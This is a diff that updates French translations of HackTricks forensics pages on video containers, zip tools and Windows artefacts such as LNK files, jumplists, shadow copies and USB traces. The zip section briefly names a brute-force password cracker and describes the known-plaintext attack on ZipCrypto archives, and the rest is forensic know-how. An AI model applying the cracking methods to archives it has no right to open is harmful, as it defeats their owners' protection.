Les formats de fichiers vidéo sont des formats de conteneur, qui contiennent des flux séparés à la fois audio et vidéo qui sont multiplexés ensemble pour la lecture. Pour analyser et manipuler les formats de fichiers vidéo, [FFmpeg](http://ffmpeg.org/) est recommandé. `ffmpeg -i` donne une analyse initiale du contenu du fichier. Il peut également démultiplexer ou lire en continu les flux de contenu. La puissance de FFmpeg est exposée à Python en utilisant [ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html).
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
|
@ -2,44 +2,30 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de hacking en soumettant des PRs aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Il existe plusieurs outils en ligne de commande pour les fichiers zip qui seront utiles à connaître.
|
Il existe plusieurs outils en ligne de commande pour les fichiers zip qui seront utiles à connaître.
|
||||||
|
|
||||||
* `unzip` affiche souvent des informations utiles sur les raisons pour lesquelles un zip ne se décompresse pas.
|
* `unzip` fournira souvent des informations utiles sur la raison pour laquelle un zip ne se décompresse pas.
|
||||||
* `zipdetails -v` fournit des informations détaillées sur les valeurs présentes dans les différents champs du format.
|
* `zipdetails -v` fournira des informations approfondies sur les valeurs présentes dans les différents champs du format.
|
||||||
* `zipinfo` liste des informations sur le contenu du fichier zip, sans l'extraire.
|
* `zipinfo` liste des informations sur le contenu du fichier zip, sans l'extraire.
|
||||||
* `zip -F input.zip --out output.zip` et `zip -FF input.zip --out output.zip` tentent de réparer un fichier zip corrompu.
|
* `zip -F input.zip --out output.zip` et `zip -FF input.zip --out output.zip` tentent de réparer un fichier zip corrompu.
|
||||||
* [fcrackzip](https://github.com/hyc/fcrackzip) effectue des tentatives de force brute pour deviner un mot de passe zip (pour des mots de passe de <7 caractères environ).
|
* [fcrackzip](https://github.com/hyc/fcrackzip) devine par force brute un mot de passe zip (pour des mots de passe <7 caractères environ).
|
||||||
|
|
||||||
[Spécification du format de fichier Zip](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT)
|
[Spécification du format de fichier Zip](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT)
|
||||||
|
|
||||||
Un point important concernant la sécurité des fichiers zip protégés par mot de passe est qu'ils ne chiffrent pas les noms de fichiers et les tailles de fichiers originales des fichiers compressés qu'ils contiennent, contrairement aux fichiers RAR ou 7z protégés par mot de passe.
|
Une note importante en matière de sécurité concernant les fichiers zip protégés par mot de passe est qu'ils n'encryptent pas les noms de fichiers et les tailles de fichiers originaux des fichiers compressés qu'ils contiennent, contrairement aux fichiers RAR ou 7z protégés par mot de passe.
|
||||||
|
|
||||||
Un autre point concernant le crack de zip est que si vous avez une copie non chiffrée/non compressée de l'un des fichiers qui sont compressés dans le zip chiffré, vous pouvez effectuer une "attaque par texte en clair" et cracker le zip, comme [décrit ici](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files), et expliqué dans [ce document](https://www.cs.auckland.ac.nz/\~mike/zipattacks.pdf). Le nouveau schéma de protection par mot de passe des fichiers zip (avec AES-256, plutôt que "ZipCrypto") n'a pas cette faiblesse.
|
Une autre note sur le craquage de zip est que si vous avez une copie non chiffrée/décompressée de l'un des fichiers qui sont compressés dans le zip chiffré, vous pouvez effectuer une "attaque en clair" et craquer le zip, comme [détailé ici](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files), et expliqué dans [ce document](https://www.cs.auckland.ac.nz/\~mike/zipattacks.pdf). Le nouveau schéma de protection par mot de passe des fichiers zip (avec AES-256, plutôt que "ZipCrypto") n'a pas cette faiblesse.
|
||||||
|
|
||||||
De : [https://app.gitbook.com/@cpol/s/hacktricks/\~/edit/drafts/-LlM5mCby8ex5pOeV4pJ/forensics/basic-forensics-esp/zips-tricks](https://app.gitbook.com/o/Iwnw24TnSs9D9I2OtTKX/s/-L\_2uGJGU7AVNRcqRvEi/)
|
De : [https://app.gitbook.com/@cpol/s/hacktricks/\~/edit/drafts/-LlM5mCby8ex5pOeV4pJ/forensics/basic-forensics-esp/zips-tricks](https://app.gitbook.com/o/Iwnw24TnSs9D9I2OtTKX/s/-L\_2uGJGU7AVNRcqRvEi/)
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
||||||
* **Partagez vos astuces de hacking en soumettant des PRs aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
|
@ -1,44 +1,44 @@
|
||||||
# Artéfacts Windows
|
# Artefacts Windows
|
||||||
|
|
||||||
## Artéfacts Windows
|
## Artefacts Windows
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Artéfacts Windows Génériques
|
## Artefacts Windows Génériques
|
||||||
|
|
||||||
### Notifications Windows 10
|
### Notifications Windows 10
|
||||||
|
|
||||||
Dans le chemin `\Users\<username>\AppData\Local\Microsoft\Windows\Notifications`, vous pouvez trouver la base de données `appdb.dat` (avant l'anniversaire de Windows) ou `wpndatabase.db` (après l'anniversaire de Windows).
|
Dans le chemin `\Users\<nom_utilisateur>\AppData\Local\Microsoft\Windows\Notifications`, vous pouvez trouver la base de données `appdb.dat` (avant l'anniversaire de Windows) ou `wpndatabase.db` (après l'anniversaire de Windows).
|
||||||
|
|
||||||
À l'intérieur de cette base de données SQLite, vous pouvez trouver la table `Notification` avec toutes les notifications (au format XML) qui peuvent contenir des données intéressantes.
|
À l'intérieur de cette base de données SQLite, vous pouvez trouver la table `Notification` avec toutes les notifications (au format XML) qui peuvent contenir des données intéressantes.
|
||||||
|
|
||||||
### Timeline
|
### Chronologie
|
||||||
|
|
||||||
Timeline est une caractéristique de Windows qui fournit un **historique chronologique** des pages web visitées, des documents édités et des applications exécutées.
|
La chronologie est une caractéristique de Windows qui fournit un **historique chronologique** des pages web visitées, des documents édités et des applications exécutées.
|
||||||
|
|
||||||
La base de données se trouve dans le chemin `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`. Cette base de données peut être ouverte avec un outil SQLite ou avec l'outil [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **qui génère 2 fichiers pouvant être ouverts avec l'outil** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md).
|
La base de données se trouve dans le chemin `\Users\<nom_utilisateur>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`. Cette base de données peut être ouverte avec un outil SQLite ou avec l'outil [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **qui génère 2 fichiers pouvant être ouverts avec l'outil** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md).
|
||||||
|
|
||||||
### ADS (Alternate Data Streams)
|
### ADS (Flux de données alternatifs)
|
||||||
|
|
||||||
Les fichiers téléchargés peuvent contenir **ADS Zone.Identifier** indiquant **comment** il a été **téléchargé** de l'intranet, internet, etc. Certains logiciels (comme les navigateurs) mettent généralement **encore plus** d'**informations** comme l'**URL** d'où le fichier a été téléchargé.
|
Les fichiers téléchargés peuvent contenir la **Zone.Identifier des ADS** indiquant **comment** il a été **téléchargé** depuis l'intranet, internet, etc. Certains logiciels (comme les navigateurs) mettent généralement **encore plus** **d'informations** comme l'**URL** à partir de laquelle le fichier a été téléchargé.
|
||||||
|
|
||||||
## **Sauvegardes de Fichiers**
|
## **Sauvegardes de fichiers**
|
||||||
|
|
||||||
### Corbeille
|
### Corbeille
|
||||||
|
|
||||||
Dans Vista/Win7/Win8/Win10, la **Corbeille** peut être trouvée dans le dossier **`$Recycle.bin`** à la racine du disque (`C:\$Recycle.bin`).\
|
Dans Vista/Win7/Win8/Win10, la **Corbeille** se trouve dans le dossier **`$Recycle.bin`** à la racine du lecteur (`C:\$Recycle.bin`).\
|
||||||
Lorsqu'un fichier est supprimé dans ce dossier, 2 fichiers spécifiques sont créés :
|
Lorsqu'un fichier est supprimé dans ce dossier, 2 fichiers spécifiques sont créés :
|
||||||
|
|
||||||
* `$I{id}` : Informations sur le fichier (date de suppression)
|
* `$I{id}` : Informations sur le fichier (date de suppression)
|
||||||
|
@ -46,19 +46,21 @@ Lorsqu'un fichier est supprimé dans ce dossier, 2 fichiers spécifiques sont cr
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (486).png>)
|
![](<../../../.gitbook/assets/image (486).png>)
|
||||||
|
|
||||||
Avec ces fichiers, vous pouvez utiliser l'outil [**Rifiuti**](https://github.com/abelcheung/rifiuti2) pour obtenir l'adresse originale des fichiers supprimés et la date de suppression (utilisez `rifiuti-vista.exe` pour Vista – Win10).
|
En ayant ces fichiers, vous pouvez utiliser l'outil [**Rifiuti**](https://github.com/abelcheung/rifiuti2) pour obtenir l'adresse d'origine des fichiers supprimés et la date de suppression (utilisez `rifiuti-vista.exe` pour Vista - Win10).
|
||||||
```
|
```
|
||||||
.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
|
.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
|
||||||
```
|
```
|
||||||
### Copies de l'ombre de volume
|
![](<../../../.gitbook/assets/image (495) (1) (1) (1).png>)
|
||||||
|
|
||||||
La Copie de l'ombre est une technologie incluse dans Microsoft Windows qui peut créer des **copies de sauvegarde** ou des instantanés de fichiers informatiques ou de volumes, même lorsqu'ils sont utilisés.
|
### Copies d'ombre du volume
|
||||||
|
|
||||||
Ces sauvegardes sont généralement situées dans le `\System Volume Information` à la racine du système de fichiers et le nom est composé de **UIDs** montrés dans l'image suivante :
|
Shadow Copy est une technologie incluse dans Microsoft Windows qui peut créer des **copies de sauvegarde** ou des instantanés de fichiers ou de volumes d'ordinateur, même lorsqu'ils sont en cours d'utilisation.
|
||||||
|
|
||||||
|
Ces sauvegardes sont généralement situées dans le dossier `\System Volume Information` à la racine du système de fichiers et le nom est composé d'**UIDs** comme indiqué dans l'image suivante :
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (520).png>)
|
![](<../../../.gitbook/assets/image (520).png>)
|
||||||
|
|
||||||
En montant l'image forensique avec **ArsenalImageMounter**, l'outil [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) peut être utilisé pour inspecter une copie de l'ombre et même **extraire les fichiers** des sauvegardes de copie de l'ombre.
|
En montant l'image forensique avec l'outil **ArsenalImageMounter**, l'outil [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) peut être utilisé pour inspecter une copie d'ombre et même **extraire les fichiers** des sauvegardes de copie d'ombre.
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (521).png>)
|
![](<../../../.gitbook/assets/image (521).png>)
|
||||||
|
|
||||||
|
@ -66,59 +68,57 @@ L'entrée de registre `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Backu
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (522).png>)
|
![](<../../../.gitbook/assets/image (522).png>)
|
||||||
|
|
||||||
Le registre `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` contient également des informations de configuration sur les `Copies de l'ombre de volume`.
|
Le registre `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` contient également des informations de configuration sur les `Copies d'ombre du volume`.
|
||||||
|
|
||||||
### Fichiers AutoSauvegardés Office
|
### Fichiers Office AutoSaved
|
||||||
|
|
||||||
Vous pouvez trouver les fichiers autosauvegardés d'Office dans : `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
|
Vous pouvez trouver les fichiers autosauvegardés de bureau dans : `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
|
||||||
|
|
||||||
## Éléments du Shell
|
## Éléments de Shell
|
||||||
|
|
||||||
Un élément du shell est un élément qui contient des informations sur comment accéder à un autre fichier.
|
Un élément de shell est un élément qui contient des informations sur la façon d'accéder à un autre fichier.
|
||||||
|
|
||||||
### Documents Récents (LNK)
|
### Documents récents (LNK)
|
||||||
|
|
||||||
Windows **crée automatiquement** ces **raccourcis** lorsque l'utilisateur **ouvre, utilise ou crée un fichier** dans :
|
Windows **crée automatiquement** ces **raccourcis** lorsque l'utilisateur **ouvre, utilise ou crée un fichier** dans :
|
||||||
|
|
||||||
* Win7-Win10 : `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
|
* Win7-Win10 : `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
|
||||||
* Office : `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
|
* Office : `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
|
||||||
|
|
||||||
Lorsqu'un dossier est créé, un lien vers le dossier, le dossier parent et le grand-parent du dossier est également créé.
|
Lorsqu'un dossier est créé, un lien vers le dossier, vers le dossier parent et le dossier grand-parent est également créé.
|
||||||
|
|
||||||
Ces fichiers de lien créés automatiquement **contiennent des informations sur l'origine** comme s'il s'agit d'un **fichier** **ou** d'un **dossier**, **les temps MAC** de ce fichier, **les informations de volume** de l'endroit où le fichier est stocké et **le dossier du fichier cible**. Ces informations peuvent être utiles pour récupérer ces fichiers dans le cas où ils auraient été supprimés.
|
Ces fichiers de lien créés automatiquement **contiennent des informations sur l'origine** comme s'il s'agit d'un **fichier** ou d'un **dossier**, les **horodatages MAC** de ce fichier, les **informations de volume** où le fichier est stocké et le **dossier du fichier cible**. Ces informations peuvent être utiles pour récupérer ces fichiers en cas de suppression.
|
||||||
|
|
||||||
De plus, la **date de création du fichier de lien** est la première **fois** que le fichier original a été **utilisé** et la **date de modification** du fichier de lien est la **dernière fois** que le fichier d'origine a été utilisé.
|
De plus, la **date de création du fichier de lien** est la première **fois** où le fichier d'origine a été **utilisé** et la **date de modification** du fichier de lien est la **dernière** **fois** où le fichier d'origine a été utilisé.
|
||||||
|
|
||||||
Pour inspecter ces fichiers, vous pouvez utiliser [**LinkParser**](http://4discovery.com/our-tools/).
|
Pour inspecter ces fichiers, vous pouvez utiliser [**LinkParser**](http://4discovery.com/our-tools/).
|
||||||
|
|
||||||
Dans cet outil, vous trouverez **2 ensembles** de dates :
|
Dans cet outil, vous trouverez **2 ensembles** de horodatages :
|
||||||
|
|
||||||
* **Premier Ensemble :**
|
* **Premier ensemble :**
|
||||||
1. FileModifiedDate
|
1. FileModifiedDate
|
||||||
2. FileAccessDate
|
2. FileAccessDate
|
||||||
3. FileCreationDate
|
3. FileCreationDate
|
||||||
* **Deuxième Ensemble :**
|
* **Deuxième ensemble :**
|
||||||
1. LinkModifiedDate
|
1. LinkModifiedDate
|
||||||
2. LinkAccessDate
|
2. LinkAccessDate
|
||||||
3. LinkCreationDate.
|
3. LinkCreationDate.
|
||||||
|
|
||||||
Le premier ensemble de dates fait référence aux **dates du fichier lui-même**. Le deuxième ensemble fait référence aux **dates du fichier lié**.
|
Le premier ensemble de horodatages fait référence aux **horodatages du fichier lui-même**. Le deuxième ensemble fait référence aux **horodatages du fichier lié**.
|
||||||
|
|
||||||
Vous pouvez obtenir les mêmes informations en exécutant l'outil CLI Windows : [**LECmd.exe**](https://github.com/EricZimmerman/LECmd)
|
Vous pouvez obtenir les mêmes informations en exécutant l'outil en ligne de commande Windows : [**LECmd.exe**](https://github.com/EricZimmerman/LECmd)
|
||||||
```
|
```
|
||||||
LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
|
LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
|
||||||
```
|
```
|
||||||
Dans ce cas, les informations seront enregistrées dans un fichier CSV.
|
|
||||||
|
|
||||||
### Jumplists
|
### Jumplists
|
||||||
|
|
||||||
Ce sont les fichiers récents qui sont indiqués par application. C'est la liste des **fichiers récents utilisés par une application** auxquels vous pouvez accéder pour chaque application. Ils peuvent être créés **automatiquement ou personnalisés**.
|
Ce sont les fichiers récents indiqués par application. C'est la liste des **fichiers récemment utilisés par une application** auxquels vous pouvez accéder sur chaque application. Ils peuvent être créés **automatiquement ou personnalisés**.
|
||||||
|
|
||||||
Les **jumplists** créées automatiquement sont stockées dans `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Les jumplists sont nommées selon le format `{id}.autmaticDestinations-ms` où l'ID initial est l'ID de l'application.
|
Les **jumplists** créés automatiquement sont stockés dans `C:\Users\{nom_utilisateur}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Les jumplists sont nommés selon le format `{id}.autmaticDestinations-ms` où l'ID initial est l'ID de l'application.
|
||||||
|
|
||||||
Les jumplists personnalisées sont stockées dans `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` et sont créées par l'application généralement parce que quelque chose d'**important** s'est produit avec le fichier (peut-être marqué comme favori)
|
Les jumplists personnalisés sont stockés dans `C:\Users\{nom_utilisateur}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` et sont généralement créés par l'application car quelque chose d'**important** s'est produit avec le fichier (peut-être marqué comme favori).
|
||||||
|
|
||||||
Le **temps de création** de toute jumplist indique **la première fois que le fichier a été accédé** et le **temps modifié la dernière fois**.
|
L'**heure de création** de toute jumplist indique la **première fois que le fichier a été consulté** et l'**heure de modification la dernière fois**.
|
||||||
|
|
||||||
Vous pouvez inspecter les jumplists en utilisant [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md).
|
Vous pouvez inspecter les jumplists en utilisant [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md).
|
||||||
|
|
||||||
|
@ -128,33 +128,33 @@ Vous pouvez inspecter les jumplists en utilisant [**JumplistExplorer**](https://
|
||||||
|
|
||||||
### Shellbags
|
### Shellbags
|
||||||
|
|
||||||
[**Suivez ce lien pour apprendre ce que sont les shellbags.**](interesting-windows-registry-keys.md#shellbags)
|
[**Suivez ce lien pour en savoir plus sur les shellbags.**](interesting-windows-registry-keys.md#shellbags)
|
||||||
|
|
||||||
## Utilisation des USB Windows
|
## Utilisation des clés USB Windows
|
||||||
|
|
||||||
Il est possible d'identifier qu'un périphérique USB a été utilisé grâce à la création de :
|
Il est possible d'identifier l'utilisation d'un périphérique USB grâce à la création de :
|
||||||
|
|
||||||
* Dossier Windows Recent
|
* Dossier récent de Windows
|
||||||
* Dossier Microsoft Office Recent
|
* Dossier récent de Microsoft Office
|
||||||
* Jumplists
|
* Jumplists
|
||||||
|
|
||||||
Notez que certains fichiers LNK au lieu de pointer vers le chemin d'origine, pointent vers le dossier WPDNSE :
|
Notez que certains fichiers LNK, au lieu de pointer vers le chemin d'origine, pointent vers le dossier WPDNSE :
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (476).png>)
|
![](<../../../.gitbook/assets/image (476).png>)
|
||||||
|
|
||||||
Les fichiers dans le dossier WPDNSE sont une copie des originaux, ils ne survivront pas à un redémarrage du PC et le GUID est pris d'un shellbag.
|
Les fichiers dans le dossier WPDNSE sont une copie des fichiers originaux, ils ne survivront donc pas à un redémarrage du PC et le GUID est extrait d'un shellbag.
|
||||||
|
|
||||||
### Informations du Registre
|
### Informations du Registre
|
||||||
|
|
||||||
[Consultez cette page pour apprendre](interesting-windows-registry-keys.md#usb-information) quels clés de registre contiennent des informations intéressantes sur les périphériques USB connectés.
|
[Consultez cette page pour en savoir plus](interesting-windows-registry-keys.md#usb-information) sur les clés de registre contenant des informations intéressantes sur les périphériques USB connectés.
|
||||||
|
|
||||||
### setupapi
|
### setupapi
|
||||||
|
|
||||||
Vérifiez le fichier `C:\Windows\inf\setupapi.dev.log` pour obtenir les horodatages concernant quand la connexion USB a été produite (recherchez `Section start`).
|
Consultez le fichier `C:\Windows\inf\setupapi.dev.log` pour obtenir les horodatages sur quand la connexion USB a été établie (recherchez `Section start`).
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
|
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
|
||||||
|
|
||||||
### USB Detective
|
### Détective USB
|
||||||
|
|
||||||
[**USBDetective**](https://usbdetective.com) peut être utilisé pour obtenir des informations sur les périphériques USB qui ont été connectés à une image.
|
[**USBDetective**](https://usbdetective.com) peut être utilisé pour obtenir des informations sur les périphériques USB qui ont été connectés à une image.
|
||||||
|
|
||||||
|
@ -162,59 +162,59 @@ Vérifiez le fichier `C:\Windows\inf\setupapi.dev.log` pour obtenir les horodata
|
||||||
|
|
||||||
### Nettoyage Plug and Play
|
### Nettoyage Plug and Play
|
||||||
|
|
||||||
La tâche planifiée connue sous le nom de 'Nettoyage Plug and Play' est principalement conçue pour la suppression des anciennes versions de pilotes. Contrairement à son objectif spécifié de conserver la dernière version du package de pilotes, des sources en ligne suggèrent qu'elle cible également les pilotes qui ont été inactifs pendant 30 jours. Par conséquent, les pilotes pour les périphériques amovibles non connectés au cours des 30 derniers jours peuvent être supprimés.
|
La tâche planifiée connue sous le nom de 'Nettoyage Plug and Play' est principalement conçue pour supprimer les versions obsolètes des pilotes. Contrairement à son objectif spécifié de conserver la dernière version du package de pilotes, des sources en ligne suggèrent qu'elle cible également les pilotes inactifs depuis 30 jours. Par conséquent, les pilotes des périphériques amovibles non connectés au cours des 30 derniers jours peuvent être supprimés.
|
||||||
|
|
||||||
La tâche se trouve au chemin suivant :
|
La tâche est située dans le chemin suivant :
|
||||||
`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
|
`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
|
||||||
|
|
||||||
Une capture d'écran montrant le contenu de la tâche est fournie :
|
Une capture d'écran illustrant le contenu de la tâche est fournie :
|
||||||
![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png)
|
![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png)
|
||||||
|
|
||||||
**Composants clés et paramètres de la tâche :**
|
**Composants clés et paramètres de la tâche :**
|
||||||
- **pnpclean.dll** : Cette DLL est responsable du processus de nettoyage réel.
|
- **pnpclean.dll** : Cette DLL est responsable du processus de nettoyage réel.
|
||||||
- **UseUnifiedSchedulingEngine** : Défini sur `TRUE`, indiquant l'utilisation du moteur de planification des tâches générique.
|
- **UseUnifiedSchedulingEngine** : Défini sur `TRUE`, indiquant l'utilisation du moteur de planification de tâches générique.
|
||||||
- **MaintenanceSettings** :
|
- **MaintenanceSettings** :
|
||||||
- **Période ('P1M')** : Dirige le Planificateur de tâches pour initier la tâche de nettoyage mensuellement pendant la maintenance automatique régulière.
|
- **Période ('P1M')** : Indique au Planificateur de tâches d'initier la tâche de nettoyage mensuellement pendant la maintenance automatique régulière.
|
||||||
- **Deadline ('P2M')** : Instruit le Planificateur de tâches, si la tâche échoue pendant deux mois consécutifs, d'exécuter la tâche pendant la maintenance automatique d'urgence.
|
- **Date limite ('P2M')** : Instruit le Planificateur de tâches, si la tâche échoue pendant deux mois consécutifs, d'exécuter la tâche pendant la maintenance automatique d'urgence.
|
||||||
|
|
||||||
Cette configuration assure une maintenance et un nettoyage réguliers des pilotes, avec des dispositions pour retenter la tâche en cas d'échecs consécutifs.
|
Cette configuration garantit une maintenance régulière et un nettoyage des pilotes, avec des dispositions pour réessayer la tâche en cas d'échecs consécutifs.
|
||||||
|
|
||||||
